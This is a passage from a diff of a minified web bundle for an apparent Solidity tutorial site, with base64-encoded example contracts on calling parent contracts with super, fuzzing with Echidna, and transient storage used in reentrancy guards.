EMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],u2=`

                                            Parent contracts can be called directly, or by using the keyword super.

                                            +`,h2=({prev:s,next:a})=>r.jsx(A,{version:t2,title:o2,description:r2,html:g2,prev:s,next:a,codes:i2}),I2="0.8.24",d2="Calling Parent Contracts",C2="An example of calling parent contracts in Solidity",j2=[{fileName:"Super.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5mb28gY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFyKCkgcHVibGljIHZpcnR1YWwgewogICAgICAgIGVtaXQgTG9nKCJBLmJhciBjYWxsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgQiBpcyBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQi5mb28gY2FsbGVkIik7CiAgICAgICAgQS5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgdmlydHVhbCBvdmVycmlkZSB7CiAgICAgICAgZW1pdCBMb2coIkIuYmFyIGNhbGxlZCIpOwogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cgpjb250cmFjdCBDIGlzIEEgewogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHZpcnR1YWwgb3ZlcnJpZGUgewogICAgICAgIGVtaXQgTG9nKCJDLmZvbyBjYWxsZWQiKTsKICAgICAgICBBLmZvbygpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhcigpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg=="}],A2=`

                                            Parent contracts can be called directly, or by using the keyword super.

                                            By using the keyword super, all of the immediate parent contracts will be called.

                                            // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -12120,7 +12120,7 @@ B   C
         super.bar();
     }
 }
-
                                            `,y2=({prev:s,next:a})=>r.jsx(A,{version:d2,title:C2,description:j2,html:u2,prev:s,next:a,codes:A2}),m2="0.8.24",b2="Echidna",w2="An example of testing contracts with Echidna",k2=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpbCgpCiAgICB0ZXN0IHdpbGwgcGFzcyBvdGhlcndpc2UKICAgICovCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfcGFzcygpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gcGFzczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRGYWlsKCkgZXh0ZXJuYWwgewogICAgICAgIC8qCiAgICAgICAgRWNoaWRuYSBjYW4gY2FsbCB0aGlzIGZ1bmN0aW9uIGlmIGRlbGF5IDw9IG1heCBibG9jayBkZWxheQogICAgICAgIE90aGVyd2lzZSBFY2hpZG5hIHdpbGwgbm90IGJlIGFibGUgdG8gY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgICAgIE1heCBibG9jayBkZWxheSBjYW4gYmUgZXh0ZW5kZWQgYnkgc3BlY2lmeWluZyBpdCBpbiBhIGNvbmZpZ3VyYXRpb24gZmlsZS4KICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgZGVsYXkgPSA3IGRheXM7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY3JlYXRlZEF0ICsgZGVsYXkpOwogICAgICAgIHBhc3MgPSBmYWxzZTsKICAgIH0KCiAgICAvLyBEZWZhdWx0IHNlbmRlcnMKICAgIC8vIENoYW5nZSB0aGUgYWRkcmVzc2VzIHRvIHNlZSB0aGUgdGVzdCBmYWlsCiAgICBhZGRyZXNzWzNdIHByaXZhdGUgc2VuZGVycyA9CiAgICAgICAgW2FkZHJlc3MoMHgxMDAwMCksIGFkZHJlc3MoMHgyMDAwMCksIGFkZHJlc3MoMHgzMDAwMCldOwoKICAgIGFkZHJlc3MgcHJpdmF0ZSBzZW5kZXIgPSBtc2cuc2VuZGVyOwoKICAgIC8vIFBhc3MgX3NlbmRlciBhcyBpbnB1dCBhbmQgcmVxdWlyZSBtc2cuc2VuZGVyID09IF9zZW5kZXIKICAgIC8vIHRvIHNlZSBfc2VuZGVyIGZvciBjb3VudGVyIGV4YW1wbGUKICAgIGZ1bmN0aW9uIHNldFNlbmRlcihhZGRyZXNzIF9zZW5kZXIpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zZW5kZXIgPT0gbXNnLnNlbmRlcik7CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICAvLyBDaGVjayBkZWZhdWx0IHNlbmRlcnMuIFNlbmRlciBzaG91bGQgYmUgb25lIG9mIHRoZSAzIGRlZmF1bHQgYWNjb3VudHMuCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3Rfc2VuZGVyKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgMzsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzZW5kZXIgPT0gc2VuZGVyc1tpXSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9Cg=="},{fileName:"TestEchidna.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmVjaGlkbmEgVGVzdEVjaGlkbmEuc29sIC0tY29udHJhY3QgVGVzdENvdW50ZXIKKi8KY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvdW50ZXIgaXMgQ291bnRlciB7CiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfdHJ1ZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfZmFsc2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9jb3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICAvLyBIZXJlIHdlIGFyZSB0ZXN0aW5nIHRoYXQgQ291bnRlci5jb3VudCBzaG91bGQgYWx3YXlzIGJlIDw9IDUuCiAgICAgICAgLy8gVGVzdCB3aWxsIGZhaWwuIEVjaGlkbmEgaXMgc21hcnQgZW5vdWdoIHRvIGNhbGwgQ291bnRlci5pbmMoKSBtb3JlCiAgICAgICAgLy8gdGhhbiA1IHRpbWVzLgogICAgICAgIHJldHVybiBjb3VudCA8PSA1OwogICAgfQp9CgovKgplY2hpZG5hIFRlc3RFY2hpZG5hLnNvbCAtLWNvbnRyYWN0IFRlc3RBc3NlcnQgLS10ZXN0LW1vZGUgYXNzZXJ0aW9uCiovCmNvbnRyYWN0IFRlc3RBc3NlcnQgewogICAgZnVuY3Rpb24gdGVzdF9hc3NlcnQodWludDI1NiBfaSkgZXh0ZXJuYWwgewogICAgICAgIGFzc2VydChfaSA8IDEwKTsKICAgIH0KCiAgICAvLyBNb3JlIGNvbXBsZXggZXhhbXBsZQogICAgZnVuY3Rpb24gYWJzKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGlmICh4ID49IHkpIHsKICAgICAgICAgICAgcmV0dXJuIHggLSB5OwogICAgICAgIH0KICAgICAgICByZXR1cm4geSAtIHg7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9hYnModWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHogPSBhYnMoeCwgeSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],Z2=`

                                            Examples of fuzzing with Echidna.

                                            +`,u2=({prev:s,next:a})=>r.jsx(A,{version:I2,title:d2,description:C2,html:A2,prev:s,next:a,codes:j2}),y2="0.8.24",m2="Echidna",b2="An example of testing contracts with Echidna",w2=[{fileName:"EchidnaTestTimeAndCaller.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmRvY2tlciBydW4gLWl0IC0tcm0gLXYgJFBXRDovY29kZSB0cmFpbG9mYml0cy9ldGgtc2VjdXJpdHktdG9vbGJveAplY2hpZG5hIEVjaGlkbmFUZXN0VGltZUFuZENhbGxlci5zb2wgLS1jb250cmFjdCBFY2hpZG5hVGVzdFRpbWVBbmRDYWxsZXIKKi8KY29udHJhY3QgRWNoaWRuYVRlc3RUaW1lQW5kQ2FsbGVyIHsKICAgIGJvb2wgcHJpdmF0ZSBwYXNzID0gdHJ1ZTsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjcmVhdGVkQXQgPSBibG9jay50aW1lc3RhbXA7CgogICAgLyoKICAgIHRlc3Qgd2lsbCBmYWlsIGlmIEVjaGlkbmEgY2FuIGNhbGwgc2V0RmFpbCgpCiAgICB0ZXN0IHdpbGwgcGFzcyBvdGhlcndpc2UKICAgICovCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfcGFzcygpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gcGFzczsKICAgIH0KCiAgICBmdW5jdGlvbiBzZXRGYWlsKCkgZXh0ZXJuYWwgewogICAgICAgIC8qCiAgICAgICAgRWNoaWRuYSBjYW4gY2FsbCB0aGlzIGZ1bmN0aW9uIGlmIGRlbGF5IDw9IG1heCBibG9jayBkZWxheQogICAgICAgIE90aGVyd2lzZSBFY2hpZG5hIHdpbGwgbm90IGJlIGFibGUgdG8gY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgICAgIE1heCBibG9jayBkZWxheSBjYW4gYmUgZXh0ZW5kZWQgYnkgc3BlY2lmeWluZyBpdCBpbiBhIGNvbmZpZ3VyYXRpb24gZmlsZS4KICAgICAgICAqLwogICAgICAgIHVpbnQyNTYgZGVsYXkgPSA3IGRheXM7CiAgICAgICAgcmVxdWlyZShibG9jay50aW1lc3RhbXAgPj0gY3JlYXRlZEF0ICsgZGVsYXkpOwogICAgICAgIHBhc3MgPSBmYWxzZTsKICAgIH0KCiAgICAvLyBEZWZhdWx0IHNlbmRlcnMKICAgIC8vIENoYW5nZSB0aGUgYWRkcmVzc2VzIHRvIHNlZSB0aGUgdGVzdCBmYWlsCiAgICBhZGRyZXNzWzNdIHByaXZhdGUgc2VuZGVycyA9CiAgICAgICAgW2FkZHJlc3MoMHgxMDAwMCksIGFkZHJlc3MoMHgyMDAwMCksIGFkZHJlc3MoMHgzMDAwMCldOwoKICAgIGFkZHJlc3MgcHJpdmF0ZSBzZW5kZXIgPSBtc2cuc2VuZGVyOwoKICAgIC8vIFBhc3MgX3NlbmRlciBhcyBpbnB1dCBhbmQgcmVxdWlyZSBtc2cuc2VuZGVyID09IF9zZW5kZXIKICAgIC8vIHRvIHNlZSBfc2VuZGVyIGZvciBjb3VudGVyIGV4YW1wbGUKICAgIGZ1bmN0aW9uIHNldFNlbmRlcihhZGRyZXNzIF9zZW5kZXIpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKF9zZW5kZXIgPT0gbXNnLnNlbmRlcik7CiAgICAgICAgc2VuZGVyID0gbXNnLnNlbmRlcjsKICAgIH0KCiAgICAvLyBDaGVjayBkZWZhdWx0IHNlbmRlcnMuIFNlbmRlciBzaG91bGQgYmUgb25lIG9mIHRoZSAzIGRlZmF1bHQgYWNjb3VudHMuCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3Rfc2VuZGVyKCkgcHVibGljIHZpZXcgcmV0dXJucyAoYm9vbCkgewogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgMzsgaSsrKSB7CiAgICAgICAgICAgIGlmIChzZW5kZXIgPT0gc2VuZGVyc1tpXSkgewogICAgICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9Cg=="},{fileName:"TestEchidna.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCi8qCmVjaGlkbmEgVGVzdEVjaGlkbmEuc29sIC0tY29udHJhY3QgVGVzdENvdW50ZXIKKi8KY29udHJhY3QgQ291bnRlciB7CiAgICB1aW50MjU2IHB1YmxpYyBjb3VudDsKCiAgICBmdW5jdGlvbiBpbmMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgKz0gMTsKICAgIH0KCiAgICBmdW5jdGlvbiBkZWMoKSBleHRlcm5hbCB7CiAgICAgICAgY291bnQgLT0gMTsKICAgIH0KfQoKY29udHJhY3QgVGVzdENvdW50ZXIgaXMgQ291bnRlciB7CiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfdHJ1ZSgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICBmdW5jdGlvbiBlY2hpZG5hX3Rlc3RfZmFsc2UoKSBwdWJsaWMgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQoKICAgIGZ1bmN0aW9uIGVjaGlkbmFfdGVzdF9jb3VudCgpIHB1YmxpYyB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICAvLyBIZXJlIHdlIGFyZSB0ZXN0aW5nIHRoYXQgQ291bnRlci5jb3VudCBzaG91bGQgYWx3YXlzIGJlIDw9IDUuCiAgICAgICAgLy8gVGVzdCB3aWxsIGZhaWwuIEVjaGlkbmEgaXMgc21hcnQgZW5vdWdoIHRvIGNhbGwgQ291bnRlci5pbmMoKSBtb3JlCiAgICAgICAgLy8gdGhhbiA1IHRpbWVzLgogICAgICAgIHJldHVybiBjb3VudCA8PSA1OwogICAgfQp9CgovKgplY2hpZG5hIFRlc3RFY2hpZG5hLnNvbCAtLWNvbnRyYWN0IFRlc3RBc3NlcnQgLS10ZXN0LW1vZGUgYXNzZXJ0aW9uCiovCmNvbnRyYWN0IFRlc3RBc3NlcnQgewogICAgZnVuY3Rpb24gdGVzdF9hc3NlcnQodWludDI1NiBfaSkgZXh0ZXJuYWwgewogICAgICAgIGFzc2VydChfaSA8IDEwKTsKICAgIH0KCiAgICAvLyBNb3JlIGNvbXBsZXggZXhhbXBsZQogICAgZnVuY3Rpb24gYWJzKHVpbnQyNTYgeCwgdWludDI1NiB5KSBwcml2YXRlIHB1cmUgcmV0dXJucyAodWludDI1NikgewogICAgICAgIGlmICh4ID49IHkpIHsKICAgICAgICAgICAgcmV0dXJuIHggLSB5OwogICAgICAgIH0KICAgICAgICByZXR1cm4geSAtIHg7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9hYnModWludDI1NiB4LCB1aW50MjU2IHkpIGV4dGVybmFsIHsKICAgICAgICB1aW50MjU2IHogPSBhYnMoeCwgeSk7CiAgICAgICAgaWYgKHggPj0geSkgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB4KTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBhc3NlcnQoeiA8PSB5KTsKICAgICAgICB9CiAgICB9Cn0K"}],k2=`

                                            Examples of fuzzing with Echidna.

                                            1. Save the solidity contract as TestEchidna.sol
                                            2. In the folder where your contract is stored execute the following command.
                                              3. @@ -12252,7 +12252,7 @@ echidna EchidnaTestTimeAndCaller.sol --contract EchidnaTestTimeAndCaller return false; } } -`,W2=({prev:s,next:a})=>r.jsx(A,{version:m2,title:b2,description:w2,html:Z2,prev:s,next:a,codes:k2}),B2="0.8.24",G2="Transient Storage",V2="transient storage",f2=[{fileName:"TransientStorage.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBNYWtlIHN1cmUgRVZNIHZlcnNpb24gYW5kIFZNIHNldCB0byBDYW5jdW4KCi8vIFN0b3JhZ2UgLSBkYXRhIGlzIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbgovLyBNZW1vcnkgLSBkYXRhIGlzIGNsZWFyZWQgb3V0IGFmdGVyIGEgZnVuY3Rpb24gY2FsbAovLyBUcmFuc2llbnQgc3RvcmFnZSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSB0cmFuc2FjdGlvbgoKaW50ZXJmYWNlIElUZXN0IHsKICAgIGZ1bmN0aW9uIHZhbCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IENhbGxiYWNrIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHsKICAgICAgICB2YWwgPSBJVGVzdChtc2cuc2VuZGVyKS52YWwoKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgSVRlc3QodGFyZ2V0KS50ZXN0KCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RTdG9yYWdlIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICB2YWwgPSAxMjM7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RUcmFuc2llbnRTdG9yYWdlIHsKICAgIGJ5dGVzMzIgY29uc3RhbnQgU0xPVCA9IDA7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMzIxKQogICAgICAgIH0KICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB2YWwoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHYgOj0gdGxvYWQoU0xPVCkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZCB7CiAgICBib29sIHByaXZhdGUgbG9ja2VkOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9CgogICAgLy8gMzUzMTMgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZFRyYW5zaWVudCB7CiAgICBieXRlczMyIGNvbnN0YW50IFNMT1QgPSAwOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBpZiB0bG9hZChTTE9UKSB7IHJldmVydCgwLCAwKSB9CiAgICAgICAgICAgIHRzdG9yZShTTE9ULCAxKQogICAgICAgIH0KICAgICAgICBfOwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDApCiAgICAgICAgfQogICAgfQoKICAgIC8vIDIxODg3IGdhcwogICAgZnVuY3Rpb24gdGVzdCgpIGV4dGVybmFsIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0K"}],Y2=`

                                              Data stored in transient storage is cleared out after transaction.

                                              +`,Z2=({prev:s,next:a})=>r.jsx(A,{version:y2,title:m2,description:b2,html:k2,prev:s,next:a,codes:w2}),W2="0.8.24",B2="Transient Storage",G2="transient storage",V2=[{fileName:"TransientStorage.sol",code:"cHJhZ21hIHNvbGlkaXR5IF4wLjguMjQ7CgovLyBNYWtlIHN1cmUgRVZNIHZlcnNpb24gYW5kIFZNIHNldCB0byBDYW5jdW4KCi8vIFN0b3JhZ2UgLSBkYXRhIGlzIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbgovLyBNZW1vcnkgLSBkYXRhIGlzIGNsZWFyZWQgb3V0IGFmdGVyIGEgZnVuY3Rpb24gY2FsbAovLyBUcmFuc2llbnQgc3RvcmFnZSAtIGRhdGEgaXMgY2xlYXJlZCBvdXQgYWZ0ZXIgYSB0cmFuc2FjdGlvbgoKaW50ZXJmYWNlIElUZXN0IHsKICAgIGZ1bmN0aW9uIHZhbCgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0ZXN0KCkgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IENhbGxiYWNrIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmYWxsYmFjaygpIGV4dGVybmFsIHsKICAgICAgICB2YWwgPSBJVGVzdChtc2cuc2VuZGVyKS52YWwoKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgdGFyZ2V0KSBleHRlcm5hbCB7CiAgICAgICAgSVRlc3QodGFyZ2V0KS50ZXN0KCk7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RTdG9yYWdlIHsKICAgIHVpbnQyNTYgcHVibGljIHZhbDsKCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIHsKICAgICAgICB2YWwgPSAxMjM7CiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFRlc3RUcmFuc2llbnRTdG9yYWdlIHsKICAgIGJ5dGVzMzIgY29uc3RhbnQgU0xPVCA9IDA7CgogICAgZnVuY3Rpb24gdGVzdCgpIHB1YmxpYyB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICB0c3RvcmUoU0xPVCwgMzIxKQogICAgICAgIH0KICAgICAgICBieXRlcyBtZW1vcnkgYiA9ICIiOwogICAgICAgIG1zZy5zZW5kZXIuY2FsbChiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB2YWwoKSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50MjU2IHYpIHsKICAgICAgICBhc3NlbWJseSB7CiAgICAgICAgICAgIHYgOj0gdGxvYWQoU0xPVCkKICAgICAgICB9CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZCB7CiAgICBib29sIHByaXZhdGUgbG9ja2VkOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgcmVxdWlyZSghbG9ja2VkKTsKICAgICAgICBsb2NrZWQgPSB0cnVlOwogICAgICAgIF87CiAgICAgICAgbG9ja2VkID0gZmFsc2U7CiAgICB9CgogICAgLy8gMzUzMTMgZ2FzCiAgICBmdW5jdGlvbiB0ZXN0KCkgcHVibGljIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0KCmNvbnRyYWN0IFJlZW50cmFuY3lHdWFyZFRyYW5zaWVudCB7CiAgICBieXRlczMyIGNvbnN0YW50IFNMT1QgPSAwOwoKICAgIG1vZGlmaWVyIGxvY2soKSB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBpZiB0bG9hZChTTE9UKSB7IHJldmVydCgwLCAwKSB9CiAgICAgICAgICAgIHRzdG9yZShTTE9ULCAxKQogICAgICAgIH0KICAgICAgICBfOwogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgdHN0b3JlKFNMT1QsIDApCiAgICAgICAgfQogICAgfQoKICAgIC8vIDIxODg3IGdhcwogICAgZnVuY3Rpb24gdGVzdCgpIGV4dGVybmFsIGxvY2sgewogICAgICAgIC8vIElnbm9yZSBjYWxsIGVycm9yCiAgICAgICAgYnl0ZXMgbWVtb3J5IGIgPSAiIjsKICAgICAgICBtc2cuc2VuZGVyLmNhbGwoYik7CiAgICB9Cn0K"}],f2=`

                                              Data stored in transient storage is cleared out after transaction.

                                              pragma solidity ^0.8.24;
 
